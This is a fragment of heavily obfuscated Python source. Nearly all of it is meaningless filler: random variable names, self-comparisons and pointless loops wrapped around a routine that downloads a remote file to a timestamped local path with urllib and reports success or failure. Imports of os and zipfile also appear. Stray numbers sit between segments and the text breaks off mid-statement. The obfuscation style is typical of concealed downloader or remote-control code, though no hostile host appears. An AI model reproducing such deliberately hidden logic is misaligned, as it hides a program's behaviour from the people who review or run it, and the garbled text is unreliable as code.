kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz = 'JJrOJGBFWyBiCgSFZFOGxNkOVwFEBJIJMiFOvtHwIrqOLJAExHuxFBlESGwIaSD' vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = 'yyHBAQtCWpQvyyRTADIsBQBASkyGvCAErVRSCJdVpIyzrCXGRORqnChSGQEyBfx' DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky = 'QGzEQBFbGREZQmAuJBpNYzvJnHzAFpFePBmIKvsnpBEHHfpPRyvCTBReozBGyXu' sNDSPGJVSSBCGOuIiqyzIzHznuvqsoCCDnQzFWyNBhHNPVNSnXGDAABENziNHPL = 'JyJyzDEHEGwnsUBvGXEjskmVkGYDHHoOMuJmueJVGTuvCzYFBxJewUBRExtMsAw' zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn = 'rCqjDwNGlOvqWyrvCQACRoBCSCCzMEQSRDzVSAqwEFEJRTHnyIQyOSeqxDIiGJQ' if kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz in vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE: kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz = zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn if vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE in DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky: vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = sNDSPGJVSSBCGOuIiqyzIzHznuvqsoCCDnQzFWyNBhHNPVNSnXGDAABENziNHPL elif vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE in kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz: DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky = vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE if DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky in vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE: vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-')) try: JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM = 'PfEvtDBRaItrfGPHTkkAHqPzYvyNqwIoINIvSpIlgysFmkDyeOSjZDwGRIgFiTD' uuRZGAzCytZNpQuUQmmyGqDLSRQJJyHHkyDEBNFIYWqtDuBCgHzutIJnDVREFPT = 'LIAzuuGiQBiExDZQtuNGSFBPQjFyzSEnYSSqAnBuCzSImQtiBwSOCfhCASQOJNG' HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO' if JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM == uuRZGAzCytZNpQuUQmmyGqDLSRQJJyHHkyDEBNFIYWqtDuBCgHzutIJnDVREFPT: HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO' HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM else: HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO' HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'PfEvtDBRaItrfGPHTkkAHqPzYvyNqwIoINIvSpIlgysFmkDyeOSjZDwGRIgFiTD' urllib.urlretrieve(zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ) except IOError: eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = 'BCRsWrHFCvIQHItOSlRvJSyMsTrQQkGCwoQDUtIyqstrUSHGJMpJwzRAywyPgpN' xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy = 'LIzFCuayxRFBGuSSvAoGPsnipDRtHyhAyHjtyvGzEtowRIjPyDgRnyodHuzAXTC' CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'mruYjVuAzQERGyNGBCIwAHzSSPDxDzBpQqNCENnGpzARYrJtUJQRqWBfIcwuykR' uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = 'ROSCIVHsEQvIEAIGpDnARyxBROEmyJuwIODoSkAMFPQHvNCHPkNzHQARDzQRFLS' if xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy == eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ: for eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy: if xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy: CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS' elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS: uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ else: eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ: for CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy: if uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy: CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS' elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS: uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ else: eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy for CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy: if uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy: CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS' elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS: uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ else: eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS else: eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy return 'Error: Download failed.' return 'File {} downloaded.'.format(HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ)

120.489362

164

0.849461

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RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx: if qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD: RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG else: FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk import datetime SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = 'iyGEgFrlTCsGQIESMwGGQUkoJRTxnGAvRGAGEwrEEvuorDDmDDzoAsHSEWzczjD' zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF = 'yGCkISBCAAxRcNwrFCOpEwvSCNILDgBXeRkQvFxjEHVQGQHsrvoyJnNFsIFJzmE' OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'DQAWGuMAGMmCtlvqQwfMDvsNVBGHiCsGAyCspHAuWwJFtJvFzDxIJKfJJNvUAJv' QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = 'qyQSXriqzExEXExDkHHpGNGruDCzJzzqPIotADVnsEJHxOCQezDPrGFGYzySShJ' if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE: for SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln' elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln: QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp: for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln' elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln: QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln' elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln: QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF import os FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM' kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm' if FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ != kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH: FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm' kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM' import urllib try: EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI = 'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH' ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = 'xrIokGHUrFQECFJGQIGreCbIGWEmtoCcvENBAkGwBOuFZIBJIiMZIJCqVSpzmou' GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = 'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC' BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt = 'mgSgFIsuJsszAyeDxjFEjOfEeFDLnENdJoPkBHRXFQyCIGkKyRqIONJuGpzxqDW' OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = 'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu' HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS = 'olGrlGNGEHmFaSIJZfHhuhPRQPEHEwDCGRynRfFFKsBJQJNDRpNGUEwooQOIxCx' xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG = [ 'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH', 'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC', 'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu', 'wtJEzDGzFFnyZAEzoASGSDJDqRRvTBuNxGvONTOhzmVuqCmUjxlJPuIYxQCuSJA' ] for EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI in HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS: for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF: if BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt == OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY: ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI elif OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY == ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv: ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS else: OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG: GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv except Exception: pass import zipfile pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA' GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ' if pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz != GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq: pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ' GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = 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BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA' elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA: VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC else: BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq: for 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VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA' elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA: VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC else: BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA else: BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe try: QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP = 'sGEwJnInsEEqPPyRwdxCEdDtQqJwQJpSEGMzHQtNGWSIABHyEDDGOSuTgIFnSSS' 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OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC else: rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw: for VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw in 